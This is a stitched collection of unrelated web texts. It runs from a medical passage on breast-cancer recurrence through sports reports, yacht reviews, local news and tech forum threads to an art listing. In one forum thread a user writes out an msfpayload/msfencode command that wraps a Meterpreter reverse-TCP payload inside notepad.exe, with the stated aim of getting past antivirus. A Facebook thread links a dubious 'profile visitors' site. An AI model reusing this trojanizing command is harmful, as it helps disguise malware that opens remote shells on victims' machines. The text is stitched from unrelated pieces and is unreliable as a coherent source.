• Oncogenes and Tumor-Suppressor Genes—Most of the literature on HER2/neu and p53 expression discusses the impact of these genes on overall recurrence or survival, with less information available about their impact on local control. Pierce et al[51] reported on a series of 107 patients with known HER2/neu overexpression who were treated with either breast-conserving surgery and radiation or mastectomy. In those treated with mastectomy, there was no difference in the subsequent chest wall failure rate, with or without overexpression. In contrast, Zellars et al[52] found that p53-positive patients had a higher risk of local failure after mastectomy—with or without radiation—that remained significant on multivariate analysis.
• Estrogen-Receptor Status—Negative ER status, alone or in combination with negative progesterone receptors, has been associated with an increased risk of chest wall recurrence after mastectomy.[16,25,26,43]
• Adjuvant Systemic Therapy—Adjuvant systemic chemotherapy has been associated with a modest decrease in the risk of chest wall recurrence after mastectomy.[26,33,35,53,54] Bonadonna et al[53] updated a randomized trial of CMF (cyclophosphamide [Cytoxan, Neosar], methotrexate, fluorouracil) vs observation in 386 node-positive women treated with radical mastectomy. Patients in the trial received no adjuvant radiation or endocrine therapy. At 20 years, there was no significant difference (15% vs 13%) in the rate of locoregional recurrence as a first event, with or without chemotherapy.
Tamoxifen alone or when added to chemotherapy also produces a modest reduction in the risk of chest wall recurrence.[26,33] Fisher et al[55] reported the 10-year results from a trial by the National Surgical Adjuvant Breast and Bowel Project (NSABP) B-14 in which node-negative patients with ER-positive tumors were randomized to tamoxifen or observation. Of the 2,818 women entered into the trial, 62% were treated with mastectomy. The rate of local failures in the chest wall and scar as a first event decreased from 5% to 2% (P < .0001).
Goldhirsch et al[56] reported a meta-analysis of five trials of adjuvant systemic therapy in node-positive patients treated by mastectomy without radiation. Approximately 2,108 patients received adjuvant systemic chemotherapy with (815) or without (1,293) tamoxifen or with oophorectomy (166), and 722 patients received no systemic therapy or only one cycle of chemotherapy. The 10-year cumulative incidence of local relapse as a first event was 8% vs 16%.


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PHILADELPHIA - The University of Pennsylvania field hockey team had little trouble with Appalachian State on Sunday afternoon at Ellen Vagelos Field, defeating the Mountaineers 7-1.
With the win, Penn improved to 10-3 on the season; it marks the first time the Quakers have reached double digits in wins in a season since 2004, when they won 13 en route to the Ivy League title. Appalachian State, coached by Quaker alum Brandi Alexander Kist, fell to 2-13.
Penn needed just 1:13 to get on the board Sunday, as Elise Tilton finished a pass from Jasmine Cole. Shortly after that, on the quarter-hour, the Quakers doubled their lead when Julie Tahan pounced on a shot by Emily Corcoran that was saved and put home the rebound.
Appalachian State got one of the goals back only 1:05 later. Off a penalty corner, Hanna French played the ball in to Emily Knapp who pushed it back across the circle to Laura Malinoski. Malinoski was wide open, wound up, and fired a shot past Carly Sokach's left pad inside the far post.
A nice counterattack gave Penn its third goal late in the first half. Tahan started the play, getting open in the midfield and pushing a pass through two defenders to an onrushing Cole. Cole played it across the circle to Corcoran in front. Corcoran's shot was again stopped, but this time Tilton pounced on the rebound for her second goal of the day.
Penn put this one away early in the second half, scoring twice in the first 10 minutes. The first one came off a penalty corner, as Tahan fed Cole and she wristed a shot that ASU goalkeeper Sarah Anderson deflected but could not keep out of the goal. Less than eight minutes after that, Sunny Stirewalt subbed into the game and made an immediate impression, her first touch a feed to Corcoran that led to a finish in front.
Stirewalt later made it 7-1 with a pair of goals less than a minute apart. Cole had an assist on the second goal. For the game, Penn outshot ASU 24-2 and forced Anderson and her late replacement, Cristina Creppi, to make 13 saves.
Penn is at home for its next two games, starting Saturday when the Quakers host Yale in an Ivy League game that has become critical to their chances at the Ivy title. The teams will face off at 11:30 a.m.
Download: Penn13 (AppState).pdf


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How can I get to know, who visited my FB profile? Any answers....
I don't think FB has a way to tell you who visited your profile. I could be wrong. What I know that there are some kind of statistics that shows you the traffic. But then again, that only on FB pages. Is it?
There is not a feature like this in Facebook. There is in LinkedIn though. Hamiltondist points out the insights for facebook feature for fan pages. On a fan page you can see demographics for people that like the page and other metrics but it still doesn't say that "Mary viewed your profile or page". That would be a nice feature though.
All these 'statistics' and 'apps' that kind of show you who has viewed your profile are simply fake. there's no such tool and this is a confirmed fact )
There is no tool for check in facebook, who has view your profile. You can check comment and post on your facebook profile page.
You can not check this
That's not possible, who visited when visited u can't track
Many applications are available to know your Facebook profile visitors.But that application could not show the exact visitors to you. http://night7c.aws.af.cm/ this site might help to know your profile visitors.But i don't know this would be show the correct visitors.
Actually we have many apps to know your FB's visitors but they are not true completely
go to apps and choose profile visitors app
I checked it, and i joined application.


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|Back to School?
PMY senior editor Bill Pike recently spent two days teaching a two-hour "First Mate Class" to Sea Ray owners intent on sharpening their line-handling and other seamanship skills. the two-hour seminars, which took place at Sea Ray's Merritt Island facility, covered such topics as the proper use of heaving lines, hand signals for anchoring, tips on applying the rules of the road in real-world situations, a few navigational tricks of the trade, and a no-frills approach to emergency radio procedure. They were aimed primarily at first mates, of course--not captains, although numerous Captains attended. Teaching aids included the complete deck of a 50-foot Sea Ray, a fully outfitted steering station (on wheels), flares, fire extinguishers, life rings, and lots of other safety equipment, as well as numerous heaving lines and mooring lines so each participant could practice knots, hitches, and line-handling techniques individually.
"Fun thing to do," says Pike, a self-described hands-on boater who hasn't ventured into a classroom setting since graduating from Great Lakes Maritime Academy over 20 years ago. "But I was getting a little hoarse toward the end of the deal, and my throwing arm was wearing down."
Sea Ray asked Pike to do the seminars as part of its annual Yacht Expo, a gathering of owners interested in stepping up to larger vessels. There were reportedly 350 owners and their families on hand for the event which, in addition to Pike's seminars, featured classes on electronics, boat-cleaning tips and techniques, and a great class on cooking onboard offered by Linda Ullian of the Southern Living Cooking School.
"She makes a heck of a homemade ice-cream sandwich," Pike marveled, a claim that was apparently based on several very thorough taste tests.
This article originally appeared in the January 2003 issue of Power & Motoryacht magazine.


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VOLUNTEERS are needed to clear the way for wildlife and people at beauty spots in and around Accrington over the coming months.
The sessions will help clear litter, fallen timber and vegetation to improve habitats for a variety of wildlife Weekly conservation sessions have already started with venues including Hollins Wood, Priestley Clough and the Coppice.
The programme is run by Lancashire Wildlife Trust and the Prospects Foundation.
There will be woodland management sessions at Hollins Wood on Monday, January 13 and Monday, January 20.
Sessions will also be held on Monday, February 3, Monday, February 17, and Monday, February 24.
The final two sessions will take place on Monday, March 10 and Monday, March 24.
Similar sessions will be held at Priestley Clough on Monday, January 27, Monday, March 3 and Monday March 31.
Rhododendron clearing will take place at The Coppice on Monday, February 10 and Monday, March 17.
All sessions begin at 10.30am and finish at 2.30pm.
For more information call 01772 318374.
Sessions are funded by Energie Kontor, the Big Lottery Fund and Natural England.


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The Gideon Lab is a place were we will post applications ( and maybe code ) for things we are working on. The applications on this page are available for you to download and use for free w/o email support. We will gladly take feedback and feature requests though ! Download them and give them a try. No guarantees.
Applications in the LabGSFTP - Mac and Windows FTP/SFTP Client
Jotter - Simple note taking app
Snippet Monkey - Typing accelerator w/ advanced Sniplet support
Secure Shell Helper - OpenSSH management utility
GSFTPCurrent Version : 1.3
What is it : A crossplatform SFTP/FTP client written entirely in java.
Downloads : Macintosh - Windows
Serial Number to use : GIDEONF001-3455-K307-R5EK-PAJB-H153
With GSFTP you can efficiently and reliably fetch and transmit files to any kind of Internet server using FTP or SFTP. The goal of GSFTP is to be simple and to the point. GSFTP will work with servers running on Windows and Unix. GSFTP includes what you need wrapped in an efficient and easy to use interface.Try GSFTP, and let us know what you think. GSFTP's feature list includes:GSFTP is a new breed of FTP/SFTP client that makes managing remote files a breeze.
- Mac and PC compatible
- Supports secure and standard FTP
- SFTP - all data is encrypted
- Multiple connections per browser
- Fully multithreaded - Work while you transfer files !
- Directory listings are cached for quick access
- Easy to use Bookmark manager
- Powerful bookmarking
- Bookmarks can contain both a local and remote home path
JotterCurrent Version : 1.4.1
What is it : Jotter is simple and to the point note taking. No overcomplicated interfaces. No unnecessary features. Just jot down what you want to remember.
Downloads : 10.4+
Serial Number to use : GSJOTTE001-FEW7-E211-MH2D-D1JE-5B8A
- Simple Interface
- Notes can include Rich Text, Images, URLS
- Quickly create a note from the clipboard
- Full hot key support for quickly creating notes
- Spotlight compatible
- Suggest a feature
Snippet MonkeyCurrent Version : 1.3.3
What is it : Typing acclerator.
Downloads : v10.6+ - Older Mac OS X Versions
Serial Number to use : GSSNIPP001-97R4-10E8-8F5F-3C72-2M42
- Snippets can contain any combination of :
- Text
- Images
- Date and time in a format of your choice
- Nested snippets
- Cursor location commands
- Only Typing accelerator with support for Sniplets
- Supports disabling on a per application basis
- Easily create a snippet from the contents of the clipboard
- Suggest a feature
Secure Shell HelperCurrent Version : 1.3
What is it : OpenSSH management utility
Downloads : v10.2+
Serial Number to use : Not Applicable
Secure Shell Helper does the following:
Secure Shell helper alleviates the need to use the command line to configure a working OpenSSH system. It's all point and click !
- Control who's allowed to access your account
- Generate new OpenSSH keys
- View/Export your public keys
- Setup and control the SSH server
- Easy to use Wizard allows you to configure the server and personal identity
Desktop Bundle - Dock-It - FileXaminer - Gideon Labs - Snard - xBack
Home - About Gideon Softworks


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My office just received a database from outside the office that I'm going to have to build a web tool around. The tool will be fairly simple - you use a web form to specify criteria (using checkboxes) and when you submit the form you get back a list of matching resources.
There are four categories of criteria, and each criteria contains a narrowing set of values (ex areas would be: state then country then city then block, etc)
The problem is that the people who set up this database made a separate table for each criteria, and as such the resources are duplicated. What's worse is that one of the criteria is just a column in all tables, so you can even have resources repeated in the same table.
Example rows from the areas table.
[table="width: 500"][tr] [td][B]resource[/B][/td] [td][B]topic[/B][/td] [td][B]state[/B][/td] [td][B]county[/B][/td] [td][B]city[/B][/td] [td][B]block[/B][/td][/tr][tr] [td]resource 1[/td] [td]topic 1[/td] [td]Y[/td] [td]N[/td] [td]N[/td] [td]N[/td][/tr][tr] [td]resource 1[/td] [td]topic 2[/td] [td]Y[/td] [td]Y[/td] [td]N[/td] [td]N[/td][/tr][/table]
Normally I would put the resources in a table with resource name and ID (pk), then a table for topics, a table for criteria, etc, then make relational tables to do a many to many relationship, but I'm having trouble getting my head around things. For one, resource 1 can have different area values depending on what topic is selected. Same for the other criteria. Just looking for the best way to organize it.
The problem is that the people who set up this database made a separate table for each criteria
I don't quite understand this part. In the data you posted it looks like it's all in 1 table? Can you give an example?
Yep sure can (I'm always horrible at explaining these things).
The tool works like this:
First you select an area of interest (known as "topics" in the database). Examples are: housing, land use, public health, safety.
Once you do that it returns a list of resources in the chosen topic(s). You can then refine your search with any one of three other set of checkboxes.
Area (state, county, city, block, etc)Setting (rural, suburban, urban, etc)Mode (car, bus, rail, walking, etc)
The current database has separate tables for each one of those options (area, setting, mode) and the resources (most but not all) are duplicated in each of those tables. My example table in the OP is from the Areas table but the other two look the same. And the first set of checkboxes (the topics) are just a column that appears in all tables. It's like someone just imported 3 excel spreadsheets and decided to make a database out of them.
Here's how the three tables are set up:
Arearesource_name (text)topic (text)state (y,n)county (y,n)city (y,n)town (y,n)block (y,n)
Mode resource_name (text)topic (text)automobile (y,n)bus (y,n)rail (y,n)bicycle (y,n)pedestrian (y,n)
Settingresource_name (text)topic (text)rural (y,n)suburban (y,n)urban (y,n)downtown (y,n)
I've moved the topic names to their own table to give them their own ID numbers, and I made a resources table to do the same, and so that each resource is only listed once (rather than once in each table). I've also created a relational table to tie each resource to their appropriate topics (many-to-many, as each resource can appear in more than one topic). I started to do the same for the areas, settings, and modes, but the problem is that, for example, Resource 5 when in Topic 1 will have a Y for "city", but Resource 5 in Topic 2 will have a N for "city". It's quite confusing I know, which is why I'm here.
If you get your data from an external provider, and only have to show it, and not maintain (edit, delete, add) anything, I think these tables should do the job:
The first four tables are used to populate your dropdowns/checkboxes (you could do that with a select distinct on the last table as well though).The last to get the resources that respect the selected criteria.
No need for id numbers, since you won't be changing any resource, topic or other names anyway.
You could simply create three tables just like the data you received, and do all select queries on those 3 tables, but that would mean you'd have to change your queries and application every time they decide to add/remove/change an Y/N option column.
I'm not really clear on this part. You mean one table for all the area, settings, and mode data? Do you mean like a parent/child table where area, settings, and mode are parents, and the sub-settings have a parent id that links them to their parents?
So like resource id, topic id, and the area/setting/mode id in the same row?
Well one of the reasons I'm changing this db is to make future changes easier to implement without touching the web app.
[B]ASM Option[/B]
Area State
Area County
And you would retrieve the options for the chosen ASM.
Yes. But not numeric id's, the plain names:
[B]Topic Resource ASM Option Optionvalue[/B]
Topic 1 Resource 1 Area State Y
Topic 2 Resource 1 Area State N
Oh my! Hmmmmmm. I'll have to get my head around THAT now!
That final table makes sense but I'm trying to figure out why I need the ASM table if I have ASM-options. Just to populate dropdowns? Seems like I could have a column in ASM-options to flag the "top level" entries just as easily.
An extra column? You could do a SELECT DISTINCT ASM FROM ASMBut then, like I said before, you could do that on the final table as well, for topics, ASM, options and resources, getting rid of all the other tables.
Thanks guido, you've given me a lot to think about.
I spent some time thinking about this, and I think I have my head a bit farther around it.
Let's take Resource 1 for an example, and let's also say we're limiting out search to Topic 3. We'd then have this:
[B]Topic Resource ASM Option Optionvalue[/B]
Topic 3 Resource 1 Area State Y
Topic 3 Resource 1 Mode Car Y
Topic 3 Resource 1 Setting Rural Y
One row for each possible "Y" value, correct?
Then in the query I'd have:
WHERE ( asm-options.asm = 'Area'
AND asm-options.option = 'State'
AND asm-options.optionvalue = 'Y' )
I foresee a collosal WHERE clause down the road in this (although I suppose I'd just use IN with a list of values)
collosal, complex, and inefficient
google EAV (entity-attribute-value)
Ok, just watched a video about, and it makes sense as far as storing the data (because the values that are columns in the current database would be rows in EAV) but I'm not sure how I'd retrieve records using that.setup. Plus, what if you have one option in the options column that is numeric and one that is text? You'd have to use a varchar data type for everything.
Another disturbing thing I noticed (about the existing database, not the EAV) is that not every resource exists in all three of the old tables. It's such a wreck.
After thinking about this some more, I came up with an idea, and thus the following table structure:
Resources (id, name)Topics (id, name)Criteria (id, parent, child)RTC (id, resource id, topic id, criteria id)
The Resources and Topics tables are (should be) self-explanatory.
The Criteria table is something like this:
[B]id parent child[/B]
1 mode car
2 mode rail
3 mode bus
4 setting rural
5 setting urban
6 setting suburban
Then the RTC table would tie the resource id, topic id, and criteria id together. I can build my initial set of checkboxes from the topics table, and the subsequent ones out of the criteria table.
Does anyone think this'll work?
Edit: Rudy will probably scold me for not making a proper parent/child category table out of criteria, which if course I would do in the finished product
It turns out that my above solution won't work at all, of course. In the existing web app (that's going away and which I have to recreate) when you choose additional options you actually get fewer results. For any given resource, if any of the chosen options is N in the database, that resources is hidden, so there are countless possible options.
I clearly need to think of something else.
Alright, got this to work with the table structure two posts up.
The reason it threw me off was because of the way the existing tool (the one mine is replacing) works. In the existing tool, when you select more than one criteria, rather that show you all resources related to either of those criteria, it shows you only resources that belong to both. It's like an AND instead of an OR.
I'm finding it a little tough to replicate this behavior in a query, so I've done it in my code. But I'm not going to spend too much time on it until I know whether or not the owners of this application even want it to work this way.
But for now, I have a database that is organized much better than the original one.


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Contact Us
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Since the posting of the preliminary program, the following program offerings have been cancelled, replaced or changed in time offering.
Monday, June 24
Time Change CBER Town Hall Was scheduled at 2:30-4:00PM is NOW at 11:00AM-12:30PM
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Cancelled FDA's Electronic Drug Registration and Listing System: Updates at 9:00AM


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TWO care homes have returned high results in the nationwide Your Care Rating survey.
CLS run care homes Holcroft Grange, Culcheth and Westy Hall, Latchford picked up 88 per cent and 87 per cent respectively.
Pauline Shaw, home manager at Holcroft Grange said: "We're delighted with our results from the 2013 Your Care Rating survey as it demonstrates how fulfilled our residents are.
"All of our scores across the four main themes are high and it just goes to show that the reality of day-to-day life in a care home such as ours is very good, something which is often at odds with the public's perception. That said, we still want to get even better and the results give us crucial feedback on where we can improve."
The survey was compiled by leading research company Ipsos MORI with input from the care home operators taking part, plus the National Care Forum and the English Community Care Association.


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DOCTORS believe that ex-Claret Gary Parkinson is suffering from a rare and potentially deadly condition following his massive stroke two weeks ago.
The 42-year-old's family have been informed he is suffering from locked-in syndrome, where a patient is aware and awake but, due to almost complete paralysis of their muscles, cannot move or communicate apart from with their eyes.
Only a handful of people are known to have recovered from the syndrome.
But his wife Debbie has refused to give up the fight, according to Ian Holloway, manager of Blackpool FC where Gary is head of youth.
The news has emerged as two of his former clubs, Burnley and Bolton Wanderers, prepare to face each other in the Carling Cup third round at Turf Moor tonight.
Mr Holloway said: "Gary has had a terrible stroke and they (the doctors) haven't given him much hope.
"I've had illnesses and bereavements before, but not like this, not where someone is actually trapped in a body that is relatively healthy and they can't get the messages through.
The doctors can't really do much more and there are only two people who have ever really got over a stroke this severe.
"But his wife Debbie is absolutely fantastic. I am amazed at the strength of the lady.
"She believes he is there and wants to try and get him out and get him back home.
She is saying 'if two people have done it before, why can't Gary?'"
Gary, who scored Burnley's winning goal in the Division Two play-off final at Wembley in 1994, is being treated at Royal Bolton Hospital, after earlier being transferred from Salford Royal Hospital.
The Blackpool boss said everyone was supporting Debbie and the couple's three children.
He said: "Gary is a very fit man. His body is still very fit. Unfortunately, his brain is not.
We have got to help his family as much as we can.
As long as there is hope, as long as someone has come back before, then hopefully Gary can.
But it's a shock to everybody. He is only 42.
"I've tried to keep filling the players in on any news. I had a chat with them yesterday."
Dr Tom Smith, Lancashire Telegraph health expert, said: "The problem is you can understand and see and hear what is going on, but you can't communicate.
You're unable to move, or speak, but you are conscious.
"It is horrifying to suffer from. It is truly a worst nightmare.
"There is no treatment that can be given, you just have to keep them alive by feeding them and looking after them and just hope some recovery starts.
"It is just a case of hoping."
Alan Beecroft, of the Colne Clarets supporters' group, said his thoughts, along with those of other fans, were with Gary's family.
He said: "It is so sad for his family. Everybody is thinking of him and his wife, children and family.
"It must be horrendous for them to go through. It is devastating.
"Burnley fans have some great memories of Gary and it is awful to think of him this way."
Jamie Hoyland, now a youth coach at Preston North End, played with Gary for three years. He went to see Gary last Tuesday.
He said: "You knew he could hear what I was saying and his eyes were reacting.
"You just try and get a bit of humour and get him stimulated.
"It is sad, but he is still fighting in there.
"Everybody I speak to from the game who knew him is always asking about him.
"It shows how well Gary is thought of.
"I'm just keeping my fingers crossed and praying for a miracle."


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55 Motoryacht — By George L. Petrie
— January 2003
High Tech, Low Stress, More Fun
|Part 2: Interior joinery was flawlessly executed in Tanganyika wood.
There are backups for everything. At the upper helm station there's a Ritchie compass, and at the lower helm there's a KVH digital compass. Power take-offs on both main engines provide redundant power supplies to the 15-hp hydraulic bow and stern thrusters. To let the owner keep tabs on his machinery, there's an engine-room camera system that auto-switches between full-color display when the engine room lights are on and infrared (night vision) when the lights are off.
With all that technology onboard, you might think the yacht would look like a giant video game. That's where Uniesse achieved a tour de force in design and construction. All breakers, switches, and status displays are neatly laid out on horizontal panels outboard or forward of the raised lower helm station, above eye level from the saloon and virtually out of sight from anywhere but the helm seat. From elsewhere in the interior, only the digital display and the two chartplotters are visible, handsomely ensconced in a stunning burl panel forward of the helm.
Uniesse accommodated the owner's wishes in other respects as well. For example, the standard interior is a three-stateroom, three-head layout. But the owner wanted a large head adjoining the master stateroom, so Uniesse reconfigured the arrangement to eliminate one guest head and offer an enlarged custom head in its place. Per the owner's request, floors and countertops in both heads were done in rich, buttery yellow marble that makes the spaces seem even larger and brighter.
Though Uniesse added several custom features to the yacht, most of the niceties I saw aboard are standard, testimony to the builder's attention to detail. For example, all bulkheads are reinforced with a solid-wood molding around the perimeter of each door opening, to keep the doorways square and to keep the bulkheads from distorting. Furthermore, all mirrors and cabinet doors are flush with rather than protruding from the surface of the surrounding bulkhead.
Interior joinery was flawlessly executed in Tanganyika wood, selected for its uniform grain and its resistance to fading and finished with a luxuriant nine-coat multigloss finish. The exterior decks were covered in lowlands Burma teak, a dense variety that has low porosity and weathers especially well. One of the few faults I could find became painfully obvious as I was climbing from the cockpit up to the flying bridge, jabbing my back on a steel latch that secures the hatch.
The discomfort was short-lived, as the focus of my attention turned to our sea trial. Winds were whipping across New York Harbor at more than 45 knots as we rounded Battery Park in search of calmer water in the East River. At 35 knots in a three- to four-foot slop, we took a splash of spray across the bridge, but nothing major considering we had 80 knots of apparent wind across the deck. It was an exhilarating ride, but comfortable and smooth thanks to 26 degrees of deadrise amidships and 17 degrees at the stern. Course keeping at speed was excellent, although at low speeds I would have preferred a faster rudder response than the seven turns lock-to-lock that the owner specified. But the combination of bow and stern thrusters makes low-speed maneuvering easy in any situation.
With a sturdy fiberglass hull, foam-cored in the hull sides and deckhouse and conforming to CE/Class-A construction standards (CE is a European set of standards that cover a wide variety of consumer products, including yachts, with Class A being the highest rating), the Uniesse has certainly fulfilled Trachtenberg's requirements. She's beautifully designed and finely constructed, and with full manual and automatic backup systems and almost every contingency planned for, what's left to do but relax and have fun?
Global Yachts International Phone: (305) 371-2628. www.uniesse.com.
George L. Petrie is a professor of naval architecture at Webb Institute and provides maritime consulting services. His Web site is www.maritimeanalysis.com.
This article originally appeared in the January 2003 issue of Power & Motoryacht magazine.


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EAST RUTHERFORD — Captaintreacherous showed another side of his greatness in winning the $635,000 Meadowlands Pace on Saturday night.
Racing on the lead for a change, Captaintreacherous showed his heels to harness racing's top 3-year-old pacers by scoring an impressive 3 ¼ length victory over Odds on Equuleus to remain unbeaten in 2013.
Driven by Tim Tetrick, Captaintreacherous paced the mile for 3-year-olds in 1 minute, 48.1 seconds, winning for the sixth time in as many starts this year. The 2012 pacer of the year returned $3.20, $2.20 and $2.10 with his 14th win in 16 career starts.
"My horse, whenever he sees somebody, he'll go," Tetrick said after his winning the Meadowlands Pace for the third time. "Luckily tonight he didn't have to do that. I asked him at the top of the lane and he took off good for me. He's been good all year. He keeps getting the job done and I'm so happy that he does."
The victory was out of the ordinary for the Tony Alagna-trained colt who is the son of Somebeachsomewhere. In capturing the North America Cup and the Hempt Stakes earlier this year, Captaintreacherous rallied late and just got up to win.
Tetrick got Captaintreacherous out of the No. 5 post quickly, moved past Rockin Amadeus just before the backstretch and never looked back. Odds On Equuleus seemed to make a move at him at the top of the stretch, but Tetrick added the colt for another gear and they drew clear before cruising to the wire.
Captaintreacherous is the third colt to win the Woodrow Wilson and come back to win the Meadowlands Pace, joining Hall of Famers Niatross and Nihilator.
Odds On Equuleus, who finished second in the elimination for this race last weekend, paid $2.60 and $2.80 in failing to give driver John Campbell his record-extending eighth Meadowlands Pace win. Sunshine Beach finished third and paid $2.60.
"It was a slow half," said George Brennan, the driver of Sunshine Beach. "I knew we would have trouble if the fractions were slow. The slow half killed him. Kudos to the connections of Captaintreacherous and Odds on Equuleus., they raced great. A hot pace would have helped me."
Veteran driver Brian Sears got the inside track on the road to the $1.2 million Hambletonian and the $500,000 Hambletonian Oaks for 3-year-old trotters here on Aug. 3 by winning the Stanley Dancer and Del Miller Memorials earlier on the card.
In the Stanley Dancer, Sears moved Royalty For Life ($4.80) to the lead on the backstretch and held off late charging Spider Blue Chip to win the photo finish by a head in 1:52. The victory was the first in four starts this year for the George Ducharme-trained colt, who now has to be considered one of the favorites for trotting's biggest race for 3-year-olds.
"Brian said he was good," Ducharme said. "He used him pretty hard and he was pretty happy, he fought right to the wire."
Bee A Magician dazzled in the $265,500 Miller for fillies with a world-record 1:51 mile to stamp herself the overwhelming favorite for the Oaks.
Sears turned her loose entering the final turn and Bee A Magician took it from there. She glided under the wire by 4½-lengths ahead of Frau Blucher to run her season mark to 7 for 7, and 17-1-1 in 20 starts.
"She's just a big strong filly," Sears said. "She's built just the way you want them. She gets over the ground so easy."
The dominant effort sparked speculation that Bee A Magician could bypass the Oaks to tackle the boys in the Hambletonian.
"It's a tricky question," trainer Noel Daley of the Hambletonian buzz. "The fact the format is two heats in one day for a filly is probably a little too much. We'll probably discuss it some more."
Pet Rock ($21.60) took the lead near the half-mile pole, opened daylight in the stretch and scored a three-quarter length victory over Bolt The Duer in the $471,800 William R. Haughton Memorial. The Virgil Morgan Jr.-trained 4-year-old paced the mile in a stakes record 1:47 in winning for the second time in six starts this year.


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Hey guys, I'm trying to figure out why my banner ribbon has an irritating (what looks like) 1px gutter showing up in Explorer 8. It positions correctly in Firefox and Sea Monkey. Please tell me I'm not in Quirks mode. :rolleyes:
[EDIT]I just realized that the top is completely off in IEx8, as well. What the . . .
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<meta content="text/html; charset=ISO-8859-1"
<title>TESTING BANNER</title>

<img style="position: absolute; top: 0px; right: 0px; width:
512px; height: 512px;"

<img style="padding: 15px 15px 15px 15px; background: WHITE;
width: 600px; height: 391px; display: block;"

Copying and pasting your code into a new file looks good to me in FF and IE8 (which indicates Standards mode).
(Forcing quirks mode looks really ragged.)
It looks ok to me also.
Do you have a link to the actual page as that may tell us something more
Paul, Ronpat, thanks for helping me with this. I don't have a place to upload the html (it's going to be an auction listing on EBay, hence the INLINE coding). I'm attaching a screenshot if that's any help? The guttering is fixed and persists even when narrowing the monitor viewport. I also included a shot of the version number. Apologies for the size; I'm on a 1200 X 1900 widescreen monitor that lives in porTraiT mode.
Two more things . . .
The position of the ribbon looks like your browser is in compatibility mode, which is like IE7 mode. Change that to IE8 standards mode and it should render correctly.
The arabesques background does not show up in IE8 or FF for me because of the following code items. If these are in you original code, delete them. (Since the background image appears in your screen shot, maybe they were inserted in the HTML code by vBulletin.)
<div style="background-image:url([noparse][/noparse]http://blog.thornyeternity.com/wp-content/uploads/2012/05/tile-arabesques-light.jpg); [noparse][/noparse] background-repeat:repeat;">
IE8 doesn't look like that for me but IE7 looks the same as your screenshot so check you haven't enabled compatability mode by mistake.
You can probably fix it for IE7 anyway by using more robust code like this.

<img [B]style="position: absolute; top: -33px; right: -33px; width:[/B]
512px; height: 512px;" src="http://dc431.4shared.com/img/cNv6GAez/s7/vector_-_corner_ribbons_2-06_b.png"
The zoom:1.0 gives the element in ie7 haslayout which it needs when it contains absolute elements and the position:relative creates a solid stacking context for the absolute element rather than the viewpoint which you were using (as you don't know what padding/margins the viewport may have in various browsers if you haven't reset them).
Ronpat, Paul . . .
It was definitely Explorer 8's Compatibility Mode. You guys are brilliant (I didn't even know there was such a feature in Explorer ). Ronpat, that tag was indeed inserted by vBulletin.
I have a new problem however, and I suspect it relates to the code-hostile IFRAME that EBay's auctions are shoved into. So first, a useful link that I have used to test how auction scripts will display in EBay. Don't ask me how I found it, but here (for the benefit of the Human Race) it is:
But drop Paul's revised code --

-- into the EBay Code Tester box, and you'll get a warning about "position: absolute" . . . and the white padding around the two centered images disappears.
This is a somewhat long-winded way of asking if there is any IFRAME hack for achieving an IMG equivalency to position: absolute . . . without using position: absolute? Thanks again guys.
Oh and, it goes without saying: I could of course just photoshop the white borders around these images . . . but it seems so inelegant! And it's also a tacit surrender to EBay that I'd have to perform this graphics hack every time I ever wanted to list any auction pics with a border. Not! :lol:
I'm not quite clear what the problem is
The message you get says:
These styles [B]may[/B] result in site interference if not properly used:
These styles [B]may[/B] result in site interference if not properly used:
The position:absolute I gave you is properly used and is contained by the position:relative parent and therefore will not interfere with the site (unless ebay is stripping all positioning rules from your code).
I don't see a difference between the output on that testing page and when the code is run standalone so I'm not sure what white space is supposed to be missing?
Avoiding using position:absolute is not impossible but very very awkward as you would have to rely on negative margins and floats and would be prone to misplacement if all things were not equal.


text:
Artist's description:
This mini abstract is part of a series of small abstracts which I have just painted. Measuring only 10cm x 10cm they are painted onto canvas boards and would frame up nicely in small box frames making a small but colourful addition to any home, either individually or as part of a grouped display.
Each one is an original painting, unique exactly like my larger paintings, they feature the same bright colours I love, and scratched back elements but are small. Each is painted in acrylic paint and coated in a protective layer of UV resistant varnish.
For one of my framed views I show how it could look in an old frame like one you might find in a flea market.
For the more modern style of frame I used an Ikea Ribba frame 23cmx23cm (£3.50) to mock up how these can look.
Materials used:
acrylic paint and mixed media on canvas board
mini abstract #33 (2015)
Acrylic painting by Carolynne Coulson
$12.81 Sold
- Acrylic painting on Canvas
- One of a kind artwork
- Size: 3.94 x 3.94 x 0.2 in (unframed) / 3.94 x 3.94 in (actual image size)
- This artwork is sold unframed
- Signed on the back
- Style: Abstract
- Subject: Abstract and non-figurative
More by Carolynne Coulson View all
View all
Framed ready to hang mini original abstract #225
Acrylic paintingby Carolynne Coulson
Framed ready to hang mini original abstract #227
Acrylic paintingby Carolynne Coulson
Bijou #5
Acrylic paintingby Carolynne Coulson
Bijou #4
Acrylic paintingby Carolynne Coulson


text:
No. It does not. As expected it handles payloads/shellcode. I am not even sure what would you try to accomplish with this?
I'm trying to bind two executables with msfpayload and the msfencode features. However, I'm not sure that msfpayload will accept a preexisting executable instead of an input like 'windows/meterpreter/reverse_tcp'.
This is what I would normally use:
./msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=8080 R | ./msfencode -t exe -x notepad.exe -o notepad32.exe
This is what I'm trying to do:
./msfpayload MYFILE.exe X | ./msfencode -t exe -x notepad.exe -o notepad32.exe
Does msfpayload allow this type of executable input? If so, what am I doing wrong?
That's too bad..
It would be a quick fix for what I need. I'm basically trying to bind two executables together while retaining the icon and 'Version' info of the original executable. I figured AVs would not scream bloody murder if I used something other than the widely available exe binders without having to purchase unique stubs...
Google is your friend.
"metasploit using existing executables" returns
Metasploit Framework - Support #1244: msfencode an exploit into an existing exe - Metasploit Redmine Interface
Which when read states exactly what the combo is used for.
Capitalisation is important. It's the difference between "Helping your brother Jack off a horse" and "Helping your brother jack off a horse".
The Forum Rules, Forum FAQ and the BackTrack Wiki... learn them, love them, live them.
Thanks for the info, those links increased the size of my brain.
Since my original idea is not feasible, I've opted to go with the windows/exec payload(or maybe download_exec). I wasn't aware of the -k option. That effectively allows me to change strategy. My situation seems to be resolved...
Many thanks for the help!


text:
NEW YORK (TheStreet) -- In August 2013, I published I Have Seen The Next Bruce Springsteen And Her Name Is Taylor Swift.
As anticipated, society's hallmark ensued -- negativity for negativity's sake, fueled largely by ignorance, bias and insecurity.
How dare you even think about "comparing" Taylor Swift to Bruce Springsteen, let alone imply she's following, to some extent, in his footsteps?
Forget context. To hell with nuance. That I was actually arguing Swift would blaze her own trail.
Just flame away.
